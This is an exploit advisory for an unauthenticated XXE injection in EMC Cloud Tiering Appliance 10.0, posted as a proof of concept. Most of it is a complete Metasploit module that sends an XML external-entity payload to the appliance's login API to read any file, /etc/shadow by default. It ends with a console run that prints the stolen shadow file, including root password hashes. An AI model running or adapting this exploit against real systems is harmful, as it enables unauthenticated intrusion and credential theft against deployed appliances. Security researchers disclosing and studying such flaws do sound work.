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EMC Cloud Tiering Appliance 10.0 XXE Injection

EMC Cloud Tiering Appliance 10.0 XXE Injection
Posted Mar 31, 2014
Authored by Brandon Perry

EMC Cloud Tiering appliance version 10.0 suffers from an unauthenticated XXE injection vulnerability. Metasploit module proof of concept is included.

tags | exploit, proof of concept
MD5 | 5ef5ecf90114c6f005126aa0d09028a9

EMC Cloud Tiering Appliance 10.0 XXE Injection

Change Mirror Download
EMC Cloud Tiering Appliance v10.0 Unauthed XXE

The following authentication request is susceptible to an XXE attack:

POST /api/login HTTP/1.1
Host: 172.31.16.99
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=12818F1AC5C744CF444B2683ABF6E8AC
Connection: keep-alive
Referer: https://172.31.16.99/UxFramework/UxFlashApplication.swf
Content-Type: application/x-www-form-urlencoded
Content-Length: 213

<Request>
<Username>root</Username>
<Password>114,97,105,110</Password>
</Request>


--------------------------------------------

The following metasploit module will exploit this to read an arbitrary file from the file system:

# This module requires Metasploit: http//metasploit.com/download
##
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'


class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'EMC CTA Unauthenticated XXE Arbitrary File Read',
'Description' => %q{
EMC CTA v10.0 is susceptible to an unauthenticated XXE attack
that allows an attacker to read arbitrary files from the file system
with the permissions of the root user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brandon Perry <bperry.volatile@gmail.com>', #metasploit module
],
'References' =>
[
],
'DisclosureDate' => 'Mar 31 2014'
))

register_options(
[
OptString.new('TARGETURI', [ true, "Base directory path", '/']),
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]),
], self.class)
end

def run
pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}" >]>
<Request>
<Username>root</Username>
<Password>&xxe;</Password>
</Request>
}

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'api', 'login'),
'method' => 'POST',
'data' => pay
})

file = /For input string: "(.*)"/m.match(res.body)
file = file[1]

path = store_loot('emc.file', 'text/plain', datastore['RHOST'], file, datastore['FILEPATH'])

print_good("File saved to: " + path)
end
end

----------------------------------------------------------------

Quick run:

msf auxiliary(emc_cta_xxe) > show options

Module options (auxiliary/gather/emc_cta_xxe):

Name Current Setting Required Description
---- --------------- -------- -----------
FILEPATH /etc/shadow yes The filepath to read on the server
Proxies http:127.0.0.1:8080 no Use a proxy chain
RHOST 172.31.16.99 yes The target address
RPORT 443 yes The target port
TARGETURI / yes Base directory path
VHOST no HTTP server virtual host

msf auxiliary(emc_cta_xxe) > run

[+] File saved to: /home/bperry/.msf4/loot/20140331082903_default_172.31.16.99_emc.file_935159.txt
[*] Auxiliary module execution completed
msf auxiliary(emc_cta_xxe) > cat /home/bperry/.msf4/loot/20140331082903_default_172.31.16.99_emc.file_935159.txt
[*] exec: cat /home/bperry/.msf4/loot/20140331082903_default_172.31.16.99_emc.file_935159.txt

root:u4sA.C2vNqNF.:15913::::::
bin:*:15913:0:99999:0:0::
daemon:*:15913:0:99999:0:0::
lp:*:15913:0:99999:0:0::
mail:*:15913:0:99999:0:0::
news:*:15913:0:99999:0:0::
uucp:*:15913:0:99999:0:0::
man:*:15913:0:99999:0:0::
wwwrun:*:15913:0:99999:0:0::
ftp:*:15913:0:99999:0:0::
nobody:*:15913:0:99999:0:0::
messagebus:*:15913:0:99999:0:0::
polkituser:*:15913:0:99999:0:0::
haldaemon:*:15913:0:99999:0:0::
sshd:*:15913:0:99999:0:0::
uuidd:*:15913:0:99999:0:0::
postgres:*:15913:0:99999:0:0::
ntp:*:15913:0:99999:0:0::
suse-ncc:*:15913:0:99999:0:0::
super:u4sA.C2vNqNF.:15913:0:99999:0:0::
msf auxiliary(emc_cta_xxe) >

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